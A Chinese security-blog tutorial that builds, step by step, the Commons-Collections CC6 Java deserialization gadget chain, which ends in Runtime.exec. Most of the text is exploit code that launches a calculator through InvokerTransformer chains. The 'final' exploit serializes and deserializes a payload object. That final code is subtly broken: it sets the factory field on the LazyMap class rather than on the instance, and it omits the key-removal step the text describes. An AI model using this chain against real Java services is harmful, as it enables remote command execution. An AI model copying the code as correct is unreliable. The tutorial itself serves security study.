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Java反序列化CC6链 —— 逐步EXP编写

2022-06-19 20:30:27

所属地浙江省

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

0x01 前言

开始我们 CC 链代码审计的第二个链子 CC6

先说一说 CC6 链同我们之前 CC1 链的一些不同之处吧，我们当时审计 CC1 链的时候要求是比较严格的。要求的环境为jdk8u65与Commons-Collections 3.2.1

而我们的 CC6 链，可以不受 jdk 版本制约。

如果用一句话介绍一下 CC6，那就是 CC6 = CC1 + URLDNS

CC6 链的前半条链与 CC1 正版链子是一样的，也就是到 LazyMap 链

0x02 环境搭建

Jdk 8u71
Comoons-Collections 3.2.1

大致的搭建思路可以参照我之前的文章 Java反序列化CommonsCollections篇01-CC1链环境搭建

0x03 CC6 链分析

因为前半段链子，LazyMap类到InvokerTransformer类是一样的，我们直接到LazyMap下。

然后我们还是找其他调用get()方法的地方，我也不知道这是怎么找出来的，因为get()方法如果 find usages 会有很多很多方法，可能这就是 Java 安全卷的原因吧。

1. 寻找尾部的 exec 方法

尾部的链子还是 CC1 链中，我们用到的那个InvokerTransformer的方法，前一段链子是和 CC1 链是一样的。这里就不再赘述啦

对应的 EXP

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// 用 decorate 触发弹计算器，确保此链可用
public class LazyMapEXP {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
                , new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
        lazyGetMethod.setAccessible(true);
        lazyGetMethod.invoke(decorateMap, runtime);
    }
}

2. 找链子

根据 ysoSerial 官方的链子，是TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。

这里先重新写一遍 LazyMap 类调用计算器的 EXP，这种 EXP 是不嫌多的，多写一写能让自己更加熟练。

import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.lang.reflect.Method;  
import java.util.HashMap;  
import java.util.Map;  
  
// 用 decorate 触发弹计算器，确保此链可用  
public class LazyMapEXP {  
    public static void main(String[] args) throws Exception{  
        Runtime runtime = Runtime.getRuntime();  
 InvokerTransformer invokerTransformer = new InvokerTransformer("exec"  
 , new Class[]{String.class}, new Object[]{"calc"});  
 HashMap<Object, Object> hashMap = new HashMap<>();  
 Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);  
 Class<LazyMap> lazyMapClass = LazyMap.class;  
 Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);  
 lazyGetMethod.setAccessible(true);  
 lazyGetMethod.invoke(decorateMap, runtime);  
 }  
}

链子的下一步是，TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。我们用TiedMapEntry写一个 EXP，确保这条链子是能用的。

因为TiedMapEntry是作用域是public，所以我们不需要反射获取它的方法，可以直接调用并修改。

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import java.util.HashMap;  
import java.util.Map;  
  
// 调用 TiedMapEntryEXP 确保链子可用  
public class TiedMapEntryEXP {  
    public static void main(String[] args) throws Exception {  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
 HashMap<Object, Object> hashMap = new HashMap<>();  
 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
 tiedMapEntry.getValue();
	}
}

成功弹出计算器

这里的逻辑还是很简单的，直接 new 一个TiedMapEntry对象，并调用它的getValue()方法即可，它的getValue方法会去调用map.get(key)方法。

现在我们确保了TiedMapEntry这一段链子的可用性，往上去找谁调用了TiedMapEntry中的getValue()方法。

寻找的方法也略提一嘴，因为getValue()这一个方法是相当相当常见的，所以我们一般会优先找同一类下是否存在调用情况。

寻找到同名函数下的hashCode()方法调用了getValue()方法。

如果我们在实战里面，在链子中找到了hashCode()方法，说明我们的构造已经可以**“半场开香槟”**了，

3. 与入口类结合的整条链子

前文我们说到链子已经构造到hashCode()这里了，这一条hashCode()的链子该如何构造呢？

我们去找谁调用了hashCode()方法，这里我就直接把答案贴出来吧，因为在 Java 反序列化当中，找到hashCode()之后的链子用的基本都是这一条。

xxx.readObject()
	HashMap.put() --自动调用-->   HashMap.hash()
		后续利用链.hashCode()

更巧的是，这里的 HashMap 类本身就是一个非常完美的入口类。

如果要写一段从HashMap.put开始，到InvokerTransformer结尾的弹计算器的 EXP，应当是这样的。

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
// 用 HashMap 的 hash 方法完成链子  
public class HashMapEXP {  
    public static void main(String[] args) throws Exception{  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
 HashMap<Object, Object> hashMap = new HashMap<>();  
 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
 HashMap<Object, Object> expMap = new HashMap<>();  
 expMap.put(tiedMapEntry, "value");  
 }  
}

这里在 25 行，也就是HashMap<Object, Object> expMap = new HashMap<>();这里打断点，会发现直接 24 行就弹计算器了，不要着急，这里是一个 IDEA 的小坑，后续会讲。

OK 言归正传，在构造最终 EXP 之前我们分析一波 ~

HashMap类的put()方法自动调用了hashCode方法，我们尝试构造 EXP，结果中居然出现了一个很神奇的现象？！

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
// 用 HashMap 的 hash 方法完成链子  
public class HashMapEXP {  
    public static void main(String[] args) throws Exception{  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
 HashMap<Object, Object> hashMap = new HashMap<>();  
 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
 HashMap<Object, Object> expMap = new HashMap<>();  
 expMap.put(tiedMapEntry, "value");  
  
 serialize(expMap);  
 unserialize("ser.bin");  
 }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
 oos.writeObject(obj);  
 }  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
 Object obj = ois.readObject();  
 return obj;  
 }  
}

我在打断点调试的时候发现当我序列化的时候，就能够弹出计算器，太奇怪了，这与 URLDNS 链中的情景其实是一模一样的。

4. 解决在序列化的时候就弹出计算器的问题

参考 URLDNS 链中的思想，先在执行put()方法的时候，先不让其进行命令执行，在反序列化的时候再命令执行。

此处强烈建议师傅们去打断点好好理解一下！

我在打完断点后分析出来的原因是这样的：

与 URLDNS 中的不同，有些链子可以通过设置参数修改，有些则不行。在我们 CC6 的链子当中，通过修改这一句语句Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);，可以达到我们需要的效果。

我们之前传进去的参数是chainedTransformer，我们在序列化的时候传进去一个没用的东西，再在反序列化的时候通过反射，将其修改回chainedTransformer。相关的属性值在 LazyMap 当中为factory

修改如下

Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

-----------------> 变成

Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));
lazyMap.remove("key");


在执行 put 方法之后通过反射修改 Transformer 的 factory 值

// 某伪代码块
Class<LazyMap> lazyMapClass = LazyMap.class;  
Field factoryField = lazyMapClass.getDeclaredField("factory");  
factoryField.setAccessible(true);  
factoryField.set(lazyMapClass, chainedTransformer);

5. 最终 EXP

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
// CC6 链最终 EXPpublic class FinalCC6EXP {  
    public static void main(String[] args) throws Exception{  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
 HashMap<Object, Object> hashMap = new HashMap<>();  
 Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器  
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
 HashMap<Object, Object> expMap = new HashMap<>();  
 expMap.put(tiedMapEntry, "value");  
  
 // 在 put 之后通过反射修改值  
 Class<LazyMap> lazyMapClass = LazyMap.class;  
 Field factoryField = lazyMapClass.getDeclaredField("factory");  
 factoryField.setAccessible(true);  
 factoryField.set(lazyMapClass, chainedTransformer);  
  
 serialize(expMap);  
 unserialize("ser.bin");  
 }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
 oos.writeObject(obj);  
 }  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
 Object obj = ois.readObject();  
 return obj;  
 }  
}

0x04 解决前文的小坑

还记得前文中我说的这个问题吗

“
这里在 25 行，也就是HashMap<Object, Object> expMap = new HashMap<>();这里打断点，会发现直接 24 行就弹计算器了，不要着急，这里是一个 IDEA 的小坑，后续会讲。
”

原因分析

因为在 IDEA 进行 debug 调试的时候，为了展示对象的集合，会自动调用toString()方法，所以在创建TiedMapEntry的时候，就自动调用了getValue()最终将链子走完，然后弹出计算器。

在 IDEA 的偏好设置当中如图修改即可。

0x05 小结

老样子，我们还是需要画个流程图总结一下链子。

先像 ysoserial 那样，写一个利用表

xxx.readObject()
	HashMap.put()
	HashMap.hash()
		TiedMapEntry.hashCode()
		TiedMapEntry.getValue()
			LazyMap.get()
				ChainedTransformer.transform()
					InvokerTransformer.transform()
						Runtime.exec()

再是我们的流程图

# web安全 # java反序列化 # Java代码审计 # JAVA安全

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